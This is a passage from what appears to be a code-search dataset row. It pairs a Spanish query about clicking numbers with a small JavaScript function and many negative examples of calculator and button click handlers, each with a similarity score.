}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.60520184","0.60520184","0.60428756","0.58993435","0.5889884","0.585996","0.5847797","0.5843738","0.57885444","0.5783723","0.5783723","0.5783723","0.5783723","0.5783723","0.5783723","0.5781897","0.57815415","0.57815415","0.57815415","0.5776515","0.577588","0.577588","0.5771946","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.576871","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.57657343","0.5762621","0.57625186","0.57500386","0.5747452","0.5747452","0.5747452","0.5747452","0.5747394","0.5742467","0.57264394","0.57261753","0.57261753","0.5724732","0.5724732","0.5724732","0.5724732"],"string":"[\n \"0.60520184\",\n \"0.60520184\",\n \"0.60428756\",\n \"0.58993435\",\n \"0.5889884\",\n \"0.585996\",\n \"0.5847797\",\n \"0.5843738\",\n \"0.57885444\",\n \"0.5783723\",\n \"0.5783723\",\n \"0.5783723\",\n \"0.5783723\",\n \"0.5783723\",\n \"0.5783723\",\n \"0.5781897\",\n \"0.57815415\",\n \"0.57815415\",\n \"0.57815415\",\n \"0.5776515\",\n \"0.577588\",\n \"0.577588\",\n \"0.5771946\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.576871\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.57657343\",\n \"0.5762621\",\n \"0.57625186\",\n \"0.57500386\",\n \"0.5747452\",\n \"0.5747452\",\n \"0.5747452\",\n \"0.5747452\",\n \"0.5747394\",\n \"0.5742467\",\n \"0.57264394\",\n \"0.57261753\",\n \"0.57261753\",\n \"0.5724732\",\n \"0.5724732\",\n \"0.5724732\",\n \"0.5724732\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":37,"cells":{"query":{"kind":"string","value":"click a los numeros;"},"document":{"kind":"string","value":"function Nu(num){\r\ndocument.getElementById(\"result\").value=document.getElementById(\"result\").value+num;\r\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function buttonClicked(key) {\r\n numberButtons.forEach(number => {\r\n if(number.innerText === key) {\r\n number.click();\r\n }\r\n })\r\n}","handleNumClick(i, e) {\n let numEvent = new CustomEvent('numPress', { 'detail': { 'number': i } });\n let keypad = document.getElementById('keypad');\n keypad.dispatchEvent(numEvent);\n }","function numberClickListener(evt) {\n var button_id = this.id;\n digit_response.push(button_id.split(\"_\")[1]);\n click_history.push({\n \"button\": button_id.split(\"_\")[1],\n \"rt\": Math.round(performance.now() - trial_onset)\n });\n if (flag_debug) {\n console.log(button_id, ' was clicked. ', digit_response, click_history);\n }\n }","function clickedNum(num) {\n if (state.result !== undefined) {\n clear();\n }\n\n if (state.operation === undefined) {\n state.operandOne = state.operandOne === \"0\" ? num : (state.operandOne + num);\n panel.textContent = state.operandOne;\n } else {\n state.operandTwo += num;\n panel.textContent = state.operandTwo;\n }\n }","function numClick(number) {\n\n if ((eval(currentNum) == 0) && (currentNum.indexOf(\".\" == -1))) {\n currentNum = number;\n } else {\n currentNum += number;\n }\n document.getElementById(\"result-display\").value = currentNum;\n\n }","function handleNumberClick(i) {\n function handleClick() {\n if (i == 0){\n if (!clickNonZero) {\n currentNumber = '0';\n } else {\n currentNumber += '0';\n }\n added = false;\n } else {\n if (!clickNonZero){\n currentNumber = '' + i;\n clickNonZero = true; \n } else {\n currentNumber += i;\n clickNonZero = true; \n }\n added = false; \n }\n // update the text\n paragraph.textContent = pastInput + currentNumber; \n }\n return handleClick;\n}","function displayNumbers(nr) {\n nr.addEventListener(\"click\", function () {\n clicked.push(nr.value);\n screen.innerText += nr.value;\n })\n\n}","function click(value) {\n if (!Number.isNaN(parseInt(value))) {\n number(value);\n } else {\n operation(value);\n }\n refresh();\n}","function clickButtonEl(key) {\n numbersEl.forEach((button) => {\n if (button.innerText === key) {\n button.click();\n }\n });\n}","function numberClicked(eventData) {\n let buttonInformation = eventData;\n let numberClicked = buttonInformation.target.textContent;\n insertDisplay(numberClicked);\n}","function onNumberClick($event, getNum) {\n $event.preventDefault();\n userAttempt = parseInt(getNum);\n angular.element('.check-btns').css({'pointer-events': 'auto','cursor':'pointer'});\n return false;\n }","function chitClicked() {\n press(chitNumberOf(this));\n}","function clickMe (clicked) {\n let num = clicked.value;\n console.log(arr);\n displayNumber (num);\n}","function addNum() {\n // add number to display\n\n function numClick(number) {\n\n if ((eval(currentNum) == 0) && (currentNum.indexOf(\".\" == -1))) {\n currentNum = number;\n } else {\n currentNum += number;\n }\n document.getElementById(\"result-display\").value = currentNum;\n\n }\n\n\n// event.target.id to get the number values from the button click\n\n// stackoverflow.com/a/35936912/313756\n\n\n\n $(\"#1\").click(function(){\n numClick(\"1\");\n });\n // if ((eval(currentNum) == 0) && (currentNum.indexOf(\".\" == -1))) {\n // currentNum = \"1\";\n // } else {\n // currentNum += \"1\";\n // }\n // document.getElementById(\"result-display\").value = currentNum;\n // });\n\n $(\"#2\").click(function(){\n numClick(\"2\");\n });\n\n $(\"#3\").click(function(){\n numClick(\"3\");\n });\n\n $(\"#4\").click(function(){\n numClick(\"4\");\n });\n\n $(\"#5\").click(function(){\n numClick(\"5\");\n });\n\n $(\"#6\").click(function(){\n numClick(\"6\");\n });\n\n $(\"#7\").click(function(){\n numClick(\"7\");\n });\n\n $(\"#8\").click(function(){\n numClick(\"8\");\n });\n\n $(\"#9\").click(function(){\n numClick(\"9\");\n });\n\n $(\"#0\").click(function(){\n numClick(\"0\");\n });\n\n}","function numberClick(event) {\n\tif (!ansPressed)\n\t{\n var content = disp.textContent;\n var btnNum = event.target.textContent.trim();\n \n if(content != \"0\"){\n\t //limit the display area to 12 characters\n\t if(content.length < 12)\n content += btnNum;\n } else {\n content = btnNum;\n }\n \ndisp.textContent = content;\n\t}\n\t\n}","function handleClick(number) {\n console.log(`Button ${number} was clicked`);\n }","function fnNum(a){\r\n\t\tvar bClear = false;\r\n\t\toText.value = \"0\";\r\n\t\tfor(var i=0;i3) {\n ;\n } else {\n if (string.charAt(string.indexOf(\"(\") + 1) != string.charAt(string.indexOf(\")\") - 1)) {\n var substring1 = Number(string.charAt(string.indexOf(\"(\") + 1) + string.charAt(string.indexOf(\")\") - 1));\n } else {\n var substring1 = Number(string.charAt(string.indexOf(\"(\") + 1));\n }\n if (Number(val) < substring1) {\n string += val;\n checkLength(string);\n displayBox.innerHTML = string;\n } else {\n displayBox.innerHTML = \"Invalid\";\n $(\"button\").prop(\"disabled\", true);\n $(\".calu-func\").attr(\"disabled\", false);\n }\n }\n }","function operandClicked(key) {\r\n operatorButtons.forEach(operator => {\r\n if(operator.innerText === key) {\r\n operator.click();\r\n }\r\n })\r\n}","function numberClick() {\n lowerDisplayString += $(this).attr('id');\n displayString += $(this).attr('id');\n $('#display').text(displayString);\n $('#lower-display').text(lowerDisplayString);\n $(this).addClass('keyFrame');\n keyFrame = $(this);\n window.setTimeout(removeKeyframe, 250);\n}","function clickDigit(number) {\n if (active==\"input\") {\n\n if ((decimalPoints + digitPoints) > 9) {\n return;\n }\n\n if (decimalActive) {\n decimalPoints ++;\n\n if (input >= 0) {\n input += number*Math.pow(10,(-1)*(decimalPoints));\n }\n\n else {\n input -= number*Math.pow(10,(-1)*(decimalPoints));\n }\n }\n\n else {\n\n if (input == 0 && number ==0) {\n return\n }\n\n else {\n digitPoints ++;\n\n if (input >= 0) {\n input = (input*10)+number;\n }\n\n else {\n input = (input*10)-number;\n }\n\n }\n\n }\n\n setScreen(\"input\");\n\n }\n\n else if (active==\"calculation\") {\n input = number;\n digitPoints=1;\n\n setScreen(\"input\");\n }\n\n else {\n setScreen(\"ERROR\");\n }\n\n}","function buttonPress(clickId,displayId,number){\n const clickBtn= document.getElementById(clickId);\n clickBtn.addEventListener(\"click\", function(){\n document.getElementById(displayId).value+=\n number;\n})\n}","function handleNum(e) {\n\n // There are two ways into this function: either clicking on the number or pressing said num in the keyboard\n // This \n let numberPressed;\n (e instanceof Event) ? numberPressed = e.target.textContent : numberPressed = e;\n\n if (lastBtnPressed == 'operator' || mainDisplay.textContent == '0') {\n mainDisplay.textContent = numberPressed;\n } else {\n mainDisplay.textContent += numberPressed;\n\n // If the width of the display is higher than the preset value, ignore last number (as to prevent visual overflow)\n if(getComputedStyle(mainDisplay).width != '370px') {\n let auxArr = Array.from(mainDisplay.textContent);\n auxArr.pop();\n mainDisplay.textContent = auxArr.join('');\n }\n }\n\n lastBtnPressed = 'number';\n clearBtn.textContent = 'C';\n}","function amelioration(){\n return nbMultiplicateurAmelioAutoclick +9;\n}","function clickPlusMinus() {\n if (dispError()) return;\n if (currentNumber===undefined) {\n if (storedNumber === undefined) return;\n currentNumber = -1 * storedNumber;\n digitAfterPeriod = String(currentNumber).split('.')[1] === undefined ? 0 : String(currentNumber).split('.')[1].length + 1;\n } else {\n currentNumber *= -1;\n }\n displayStoredContent('');\n displayCurrentNumber();\n}","function strum(){\n let button;\n for(let i = 6; i >= 1; i--){\n button = document.getElementById(i);\n button.click();\n }\n}","function panierIncrement0(){\n boutonPanier[0] = document.querySelector('#bouton-panier-0');\n boutonPanier[0].addEventListener('click', () =>{\n i++;\n nbrPanier.innerHTML = i;\n prixPanier0();\n }); \n}","handleClick(e, number) {\n console.log(\"clicke\" + e.target);\n this.counter += number;\n }","function putNumber(num){ // for buttons\n line.value = line.value + num.toString();\n}","function clickDigit(digit) {\n if (operator === null) {\n if (firstOperand.includes('.') && digit === '.') {\n // Do Nothing\n } else {\n setFirstOperand(`${firstOperand}${digit}`)\n setDisplay(`${firstOperand}${digit}`)\n }\n } else {\n if (secondOperand.includes('.') && digit === '.') {\n // Do Nothing\n } else {\n setSecondOperand(`${secondOperand}${digit}`)\n setDisplay(`${secondOperand}${digit}`)\n }\n }\n }","function reiniciar() {\n $(\"#num1\").text(\"\");\n $(\"#num2\").text(\"\");\n $(\"#num3\").text(\"\");\n $(\"#num4\").text(\"\");\n $(\"#num5\").text(\"\");\n $(\"#num6\").text(\"\");\n $(\"#num7\").text(\"\");\n $(\"#num8\").text(\"\");\n $(\"#num9\").text(\"\");\n $(\".celda\").click(jugada);\n numero=0;\n // cualquiera de los dos se puede \n //$(document).on(\"click\", \".celda\", jugada);\n}","function numberClicked(number) {\r\n status = document.getElementById(\"hidden_status\").value ;\r\n \r\n if (status == 'eq') {\r\n number_new = number;\r\n document.getElementById(\"hidden_text\").value ='';\r\n document.getElementById(\"hidden_status\").value ='ok';\r\n }\r\n else if (status == 'operator') {\r\n number_new = number;\r\n document.getElementById(\"hidden_status\").value ='ok';\r\n } \r\n else{\r\n number_prev = document.getElementById(\"display\").value;\r\n number_new = number_prev + number; \r\n }\r\n \r\n\r\n document.getElementById(\"display\").value = number_new;\r\n\r\n addText(number);\r\n\r\n // decimal point can be only once\r\n if (number == '.') {\r\n disableDecimalPoint(true);\r\n }\r\n\r\n}","function doeClick(){\n \n countClik ++;\n var number= this.getAttribute('data-role');\n totalCount += parseInt(number);\n uitvoeren();\n}","function ceClicked(){\n\t$display.val('');\n\tneedNewNum = true;\n\tnumEntered = false;\n}","function choiceClick(counter) {\n $('#picture .slick-next').trigger('click');\n $('.img-overlay').find('.click-overlay').parent().next().find('.overlay').addClass('click-overlay');\n $('#picture-array .slick-next').trigger('click');\n $('.image_number').html(counter + 1 + ' of 46');\n}","function input_digit(n) {\n if (equals_just_used) {\n AC();\n }\n equals_just_used = false;\n operator_click_num = 0;\n digit_click_num++;\n update_variables('digit', n);\n update_display();\n}","function buttonClickHandler(el) {\n removeLeadingZero(el)\n lastValue = el.value\n\n let basicOperator = evalBasicOperator(el)\n if (calculatePower(el)) {\n\n }\n else if (basicOperator != null) {\n display += basicOperator\n evaluationString += basicOperator\n if(basicOperator == \"-\" || basicOperator ==\"+\"){\n lastDigitClicked += basicOperator\n }\n } else if (!evalComplexOperator(el)) {\n if(!isNaN(el.value)){\n if(!isNaN(lastValue)){\n lastDigitClicked += el.value\n }else{\n lastDigitClicked = el.value\n }\n }\n display += el.value\n evaluationString += el.value\n }\n document.getElementById(\"output\").value = display\n}","function digitsListener(item, i){\n item.addEventListener('click', function(){\n if(digits[i].textContent==='.'){\n if(!sign && firstNumber.indexOf('.')>-1) return;\n if(sign && secondNumber.indexOf('.')>-1) return;\n }\n if((!firstNumber && digits[i].textContent==='.') ||\n (sign && !secondNumber && digits[i].textContent==='.')) {\n inputPanel.innerHTML+=\"0\";\n }\n inputPanel.innerHTML+=digits[i].textContent;\n if(sign===\"\"){\n firstNumber+=digits[i].textContent;\n }\n else {\n secondNumber+=digits[i].textContent;\n }\n })\n}","function prixamelioclick(){\n return Math.round(500 * (nbMultiplicateurAmelioAutoclick * 0.5));\n}","function keyboardListener(key) {\n switch (key) {\n case 13:\n $(\"#equals\").trigger(\"click\");\n break;\n case 42:\n $(\"#multiply\").trigger(\"click\");\n break;\n case 43:\n $(\"#add\").trigger(\"click\");\n break;\n case 45:\n $(\"#subtract\").trigger(\"click\");\n break;\n case 46:\n $(\"#decimal\").trigger(\"click\");\n break;\n case 47:\n $(\"#divide\").trigger(\"click\");\n break;\n case 48:\n $(\"#zero\").trigger(\"click\");\n break;\n case 49:\n $(\"#one\").trigger(\"click\");\n break;\n case 50:\n $(\"#two\").trigger(\"click\");\n break;\n case 51:\n $(\"#three\").trigger(\"click\");\n break;\n case 52:\n $(\"#four\").trigger(\"click\");\n break;\n case 53:\n $(\"#five\").trigger(\"click\");\n break;\n case 54:\n $(\"#six\").trigger(\"click\");\n break;\n case 55:\n $(\"#seven\").trigger(\"click\");\n break;\n case 56:\n $(\"#eight\").trigger(\"click\");\n break;\n case 57:\n $(\"#nine\").trigger(\"click\");\n break;\n }\n}","function clickCube(){\r\n\tlet cube = parseInt(document.querySelector(\"#cube\").value);\r\n\tconsole.log(cube * cube * cube);\r\n}","function clickedOn() {\n if (this.id === 'C' || this.id === '/' || this.id === 'X' || this.id === '-' || this.id === '+' || this.id === '=' || this.id === '.') {\n symPress(this.id);\n } else {\n numPress(this.id);\n }\n // If NaN (for example, from 0/0) clears the calc and displays a message)\n if (displayWindow.innerHTML === 'NaN') {\n clear();\n displayWindow.innerHTML = '-Undefined-';\n }\n // Debugging Logs:\n console.log(`Equation: ${num1} ${operand} ${num2}`);\n console.log(`Equal temp num: ${equalTemp}; eqPress: ${eqPress}`)\n console.log('---------------');\n}","function inputNum(evt){\n //have one event on the parent that listens to all the children. The if statement stops the even firing if the parent element is clicked. \n num += evt.target.id;\n screen.value = num;\n}","function ClickCounter() {}","function getNumber(e) {\n 'use strict';\n\n // if the actions array has a number\n // and no operator then reset the array\n if (actions.length === 1) {\n num = '';\n results = [];\n actions = [];\n }\n\n keyPress = e.currentTarget.id;\n // console.log(keyPress);\n\n // make sure only one decimal\n if (keyPress === 'dot' || keyPress === '.') {\n // console.log(result.indexOf('.'));\n if (results.indexOf('.') === -1) {\n keyPress = '.';\n results.push(keyPress);\n }\n } else {\n results.push(keyPress);\n }\n // console.log(results);\n\n // make the number from the array\n num = results.join('');\n // strip off leading zero's\n // console.log(/^0+[1-9]+/.test(num));\n if (/^0+[1-9]+/.test(num)) {\n // console.log(\"zeros with a number\");\n num = num.replace(/^0+/, '');\n } else if (/^0+\\./.test(num)) {\n // console.log(\"zeros with a dot\");\n num = num.replace(/^0+\\./, '0.');\n } else if (/^0+/.test(num)) {\n // zero\n // console.log(\"all zeros\");\n num = 0;\n }\n // console.log('results: ' + num);\n if (isNaN(num) === false) {\n showNum(num);\n return;\n } else {\n return;\n }\n }","function getNumbers() {\n let numbers = document.getElementsByClassName('number');\n for(i=0; i {\n let eventData = event;\n numberClicked(eventData);\n });\n }\n \n}","function celulaClick() {\n let loc = this.id.split(\"_\");\n let row = Number(loc[0]);\n let col = Number(loc[1]);\n\n if (this.className==='vivo'){\n this.setAttribute('class', 'muerto');\n aGen[row][col] = 0;\n \n }else{\n this.setAttribute('class', 'vivo');\n aGen[row][col]=1;\n }\n}","click() { }","function operator(x) {\n decimal_clicked = false;\n equals_just_used = false;\n digit_click_num = 0;\n if (x != \"%\") {\n operator_click_num++;\n }\n update_variables('operator', x);\n update_display();\n}","function clickNumber(event) {\r\n console.log(event.target.value);\r\n \r\n if(operation.innerHTML == \"\")\r\n\tfirstNumber.innerHTML += event.target.value;\r\n else if(operation.innerHTML != \"\")\r\n\tsecondNumber.innerHTML += event.target.value;\r\n}","function dondeClick(event) {\n if (event.target.className == \"asiento\") {\n event.target.classList.add(\"seleccionado\");\n document.getElementById(\"numero\").innerHTML++;\n calcularPrecio();\n almacenar();\n } else if (event.target.className == \"asiento seleccionado\") {\n event.target.classList.remove(\"seleccionado\");\n document.getElementById(\"numero\").innerHTML--;\n calcularPrecio();\n almacenar();\n }\n}","function dailNumberFunc(e){ \n let clickBtn=e.target.textContent; \n showHideDisplays('none','none','block')\n let dailNumber=['1','2','3','4','5','6','7','8','9','0','*','#']; \n let addingNumber=dailNumber.find(elem=>{\n return clickBtn===elem?elem:null; })\n if(addingNumber===undefined){\n return; \n } else{ \n if(textArea.textContent.length>=7){\n textArea.style.fontSize='1.5em'; \n }\n if(textArea.textContent.length>=20){\n textArea.style.fontSize='1em';\n }\n if(textArea.textContent.length>=30){\n return\n }\n textArea.textContent += addingNumber; \n } }","function ClickEvent(maso){\n var string_So_Luong=\"\";\n //lay string text box\n string_So_Luong=document.getElementById(maso.ToString()).value;\n //parse to int\n So_Luong = parseInt(string_So_Luong);\n \n\n }","function digitPressed(digit) {\n button = document.querySelector(`.number${digit}`);\n button.classList.add(\"clicked\");\n if (display.classList.contains(\"clear\")) {\n display.textContent = \"\"; // clear display\n display.classList.remove(\"clear\");\n }\n if(display.textContent.length > 10){\n return;\n }\n display.textContent += digit;\n}","function clickOn1(){if(goodAnswer == 1){ correctAnswerClick(1); }else{ badAnswerClick(1); }}","function printDigit(e) {\n let obj=e.target;\n\n if (result.value==='0') {\n result.value=obj.textContent;\n } else {\n result.value +=obj.textContent;\n }\n}","function digit_input_one (value) {\n //conditional to allow number click\n if (buttonClick === null) {\n //get number value from html element\n var numberRetriever = $(value).children('h3').html();\n //differentiate between a decimal. If decimal has been clicked during forst operand then no other decimals will be allowed\n if(numberRetriever === '.' && decimalClick === null) {\n number = numberRetriever;\n //sets decimal conditional to be false\n decimalClick = false;\n }\n //conditional to allow all html elements besides decimals top be logged\n else if (numberRetriever != '.') {\n number = numberRetriever;\n }\n console.log('Subsequent Number is: ' + number);\n //Once the first number has been enetered the operators may be clicked\n operatorClick = true;\n }\n //empty operand value set to add on the the number value for every click\n operand += number;\n //reset the number value\n number = '';\n //show the operand value on the screen\n $('.output').html(operand);\n console.log(operand);\n //allow operator buttons to be clicked\n equateClick = true;\n}","function onClick () {\n\n // erhöhe den Wert der Variable 'clicks' um 1\n clicks++;\n\n var text = '';\n\n if (clicks === 1) {\n // beim ersten Klick\n text = 'Hallo!';\n } else if (clicks < 4) {\n // beim zweiten und dritten Klick\n text = 'Hmmm';\n } else {\n // bei allen folgenden Klicks\n text = 'Autsch!';\n }\n\n // setze den Inhalt des Elements mit der ID 'reaktion' auf den zuvor bestimmten Text\n reaktion.textContent = text;\n }","function toOctClicked(){colorTo(3); toOct = true, toDec = false; toBin = false, toHex = false;}","function numberClicked(event) {\n\n if (para.textContent.includes(\"=\")) {\n // do nothing\n } else if ((event.target.innerHTML == \".\") && (para.textContent.endsWith(\".\"))) {\n // do nothing\n } else {\n para.textContent += event.target.innerHTML;\n }\n}","function touches9() {\n\tif (num[9]==true){\n\t\twindow.document.calculatrice.affiche.value = \n\t\twindow.document.calculatrice.affiche.value + \"9\";\n\t} else {\n\t\twindow.document.calculatrice.affiche.value = \n\t\twindow.document.calculatrice.affiche.value + \"\";\n\t}\n}","function clicked(d,i) {\n\n}","function clicked(d,i) {\n\n}","function setupNumberButtons() {\n let buttons = document.querySelectorAll(\".button-operator, .button-number\");\n for (var i = 0; i < buttons.length; i++) {\n buttons[i].addEventListener('click', addToScreen, false);\n }\n}","function updateClickerDisplay(num) {\n clickerCounterDisplay.innerText = num;\n}","clickNumber(event) {\n\n // 'number' is set to the number clicked\n let NUMBER = event.target.innerText\n\n /* \n If the number 0 is clicked, we don't want 0 to simply be concating onto the existing operand\n lest we create a situation where we have '003080', so we separate zero and check whether it\n should be appended\n */\n\n if(NUMBER==ZERO) {\n this.handleZero()\n }\n\n /*\n If the value of the operand is default '0' then 'number' is not concated to it, but replaces\n the default value. This prevents readouts like '03' (if 3 is clicked.) Instead it will become '3'\n */\n else {\n if(this.state.operand==ZERO) {\n this.setState({operand: NUMBER});\n this.updateLowerDisplay(NUMBER);\n }\n else if(this.state.operand!=ZERO) {\n this.handleConcat(NUMBER);\n }\n }\n }","function onClickUno() {\n if (operandoType != 1) { opHiddenIndex++; }\n operandoType = 1;\n strDisplay += \"1\";\n\n insertOpHidden(\"1\");\n refreshDisplay();\n}","function listenForClick(number) {\n if (TEST_LIGHTS === game[TEST_MODE]) {\n setTimeout(function () {\n nextRound()\n }, 1000);\n }\n}","function autoclickprix(){\n return Math.round(200 * (nbMultiplicateurAmelioAutoclick * 0.40));\n}","function o(a){a.click(p).mousedown(ka)}","function crystalClick () {\n counter += parseInt($(this).attr(\"value\"));\n\t\t$(\".score-number\").html(counter);\n\t\tif (counter == targetNumber) {\n\t\t\twins++;\n\t\t\ttotalReset();\n\t\t}\n\t\telse if (counter > targetNumber) {\n\t\t\tlosses++;\n\t\t\ttotalReset();\n };\n console.log(\"clicks are working\")\n }","numBoxClicked(numBoxRow, numBoxCol, numBoxVal) {\n \tif (this.model.crossOutNum(numBoxRow, numBoxCol, numBoxVal) === true) {\n \t\tthis.view.strikeNum(numBoxRow, numBoxCol);\n \t\t\n \t\tif (this.model.crossOutLockBox(numBoxRow, numBoxCol) === true) {\n \t\t\tthis.view.strikeLockBox(numBoxRow);\n \t\t\tthis.view.disappearDie(numBoxRow);\n \t\t}\n \t\t\n \t\tthis.view.changeButtons(this.model.gamePhase);\n \t\tthis.gameOverCheck();\n \t}\n }","function btn1click(){\n //calling function with btn number\n if(start ==true){ selectImg(\"1\");}\n}","function runEventListener (i){\n clickSound.play()\n let currentButtonText = buttons[i].innerHTML\n if ((!isNaN(currentButtonText) || currentButtonText === '.') && temporaryValue.length < 10){\n clickNumberButton(currentButtonText)\n }\n else if (currentButtonText === 'AC'){\n clickAcButton ()\n }\n else if (currentButtonText === 'CE'){\n clickCeButton ()\n }\n else if (currentButtonText === '='){\n clickEqualButton ()\n }\n else if (isNaN(currentButtonText)){\n clickSymbolButton (currentButtonText)\n }\n}","function clickListener(num) {\n\treturn function() {\n\t\tself.port.emit(\"clicked-link\", num);\n\t};\n}","function printDigit(e) {\n let obj = e.target;\n \n if (result.value === '0') {\n result.value = obj.textContent;\n } else {\n result.value += obj.textContent;\n }\n}","function numero1(num){\n \n if(document.getElementById(\"Ctexto\").value==\"\" && op==false ){\n\t\tdocument.getElementById(\"Ctexto\").value=num;\n\t\top=true;\n\t\tcont++;\n\t\tdocument.getElementById(\"dados1\").style.visibility =\"hidden\";\n\t\t\n\t}else if(op==false){\n\t\t//$('#dados1,#dados2,#dados3,#dados4,#dados5').click(function (){$(this).hide()});\n\t\tdocument.getElementById(\"Ctexto\").value+=num;\n\t\top=true;\n\t\tcont++;\n\t\tdocument.getElementById(\"dados1\").style.visibility =\"hidden\";\n\t}\n\n}","function clickPageNumber(pagenumber){\n pageNumber = pagenumber;\n //chang display amount label and write page to next page\n changeDisplayAmount(displayType,pagenumber);\n}","function clickOperator(event) {\r\n console.log(event.target.value);\r\n \r\n if(secondNumber.innerHTML != \"\" || firstNumber.innerHTML == \"\")\r\n\treturn;\r\n operation.innerHTML = event.target.value;\r\n}","function touches1() {\n\tif (num[1]==true){\n\t\twindow.document.calculatrice.affiche.value = \n\t\twindow.document.calculatrice.affiche.value + \"1\";\n\t} else {\n\t\twindow.document.calculatrice.affiche.value = \n\t\twindow.document.calculatrice.affiche.value + \"\";\t\t\n\t}\n}","function operClicked(){\n\tif((chain === false)){\n\t\tfirstMemory = Number($display.val());\n\t} else if(numEntered){\n\t\tif(operator === \"+\"){\n\t\t\tfirstMemory = add(firstMemory, Number($display.val()));\n\t\t} else if(operator === \"-\"){\n\t\t\tfirstMemory = substract(firstMemory, Number($display.val()));\n\t\t} else if(operator === \"×\"){\n\t\t\tfirstMemory = multiply(firstMemory, Number($display.val()));\n\t\t} else if(operator === \"÷\"){\n\t\t\tfirstMemory = divide(firstMemory, Number($display.val()));\t\n\t\t}\n\t} \n\n\toperator = $(this).text();\n\tconsole.log(operator);\n\tchain = true;\n\tneedNewNum = true;\n\tisThereDot = false;\n\tnumEntered = false;\n}","function operatorPressed(operator) {\n // if remaining minus, do nothing\n if (display.textContent === '-'){\n return;\n }\n const button = document.querySelector(`.${getOperatorName(operator)}`);\n button.classList.add(\"clicked\");\n display.dataset.numbers += \",\"+display.textContent; // save number\n display.dataset.operators += \",\"+operator; // save operator\n display.classList.add(\"clear\");\n}","function printNumber() {\n\n //Attribution du symbol du bouton cliqué (chiffre) à la variable nb\n let nb = this.getAttribute(\"data-symbol\");\n\n //Affiche le chiffre cliqué dans l'écran (screen)\n screen.textContent += nb;\n\n //On enlève tous les espaces du string (screen) et on met cela dans la variable screenContent\n let screenContent = screen.textContent.replace(/\\s/g, \"\");\n \n //On affiche le résultat de l'équation dans screenResult avec un arrondit à 2 chiffres après la virgule\n screenResult.textContent = `= ${Math.round(eval(screenContent)*100)/100}`;\n\n //On enlève la classe \"result\" au screenResult\n screenResult.classList.remove(\"result\");\n}","function buttonClick(value) {\n if (isNaN(parseInt(value))) {\n handleSymbol(value);\n } else {\n handleNumber(value);\n }\n rerender();\n}","function buttonClicked(value) {\n\tif (isNaN(parseInt(value))) {\n\t\thandleOperators(value);\n\t\tclear(value);\n\t} else {\n\t\tnumberManage(value);\n\t}\n\trerender();\n}","function acClicked(){\n\tfirstMemory = 0;\n\tsecondMemory = 0;\n\tshowOnDisplay('');\n\tneedNewNum = true;\n\tchain = false;\n\tnumEntered = false;\n}","function handler(){\n switchCounter++;\n if(switchCounter%2===1 && $values.innerText.length<8){\n $values.style.display=\"block\";\n for(j=0;j<=10;j++){\n $number[j].addEventListener(\"click\",numberSelect);\n }\n for(m=0;m<=3;m++){\n $operator[m].addEventListener(\"click\",operation);\n }\n $equals.addEventListener(\"click\",showAnswer);\n $mPositive.addEventListener(\"click\",storeToMemory);\n $mNegative.addEventListener(\"click\",removeFromMemory);\n $mrc.addEventListener(\"click\",storedMemory);\n }\n else{\n $values.style.display=\"none\";\n $values.innerText=0;\n numberIsClicked=false;\n operatorIsClicked=false;\n numberOfOperand=0;\n equalsToIsClicked=false;\n myoperator=\"\";\n }\n}","function addClicks (int1) {\n rockTotal += int1;\n }","clicked(x, y) {}","function change_by_one(value, direction){\n\n var number = value.replace(/[^-\\d\\.]/g, '');\n var unit = value.replace(number, '').trim();\n\n if(number == \"\") number = \"0\";\n if(unit == \"\") unit = \"px\"; \n\n var newvalue = \"\";\n\n if(direction == \"plus\")\n newvalue = Number(number) + 1; \n else newvalue = Number(number) - 1; \n\n console.log(newvalue + \"\" +unit);\n return newvalue+unit; \n\n alert(\"new value after click \"+ newvalue+unit);\n }","function getNum(n){\n let screen = document.getElementById(\"screen\");\n screen.value += n;\n}","function getNumber(count){\n\n\t var num = document.getElementById(\"btn\");\n alert(num.innerHTML);\n alert (count);\n}","function _click(d){\n \n }","function fromOctClicked(){colorFrom(3); fromOct = true, fromBin =false, fromDec = false, fromHex = false;}","function buttons(idbutton) {\n var value = idbutton.val();\n $(idbutton).click(() => {\n console.log(\"Puntos: \" + contpoint);\n if(entry == null) {\n entry.val(value);\n } else if(entry.val().length >= 12) {\n console.log(\"Esta full\");\n } else if(value == \".\" && contpoint == 0) {\n contpoint++;\n entry.val(entry.val() + value);\n } else if(value == \".\" && contpoint > 0) {\n console.log(\"Hay mas de un punto\");\n }\n else {\n 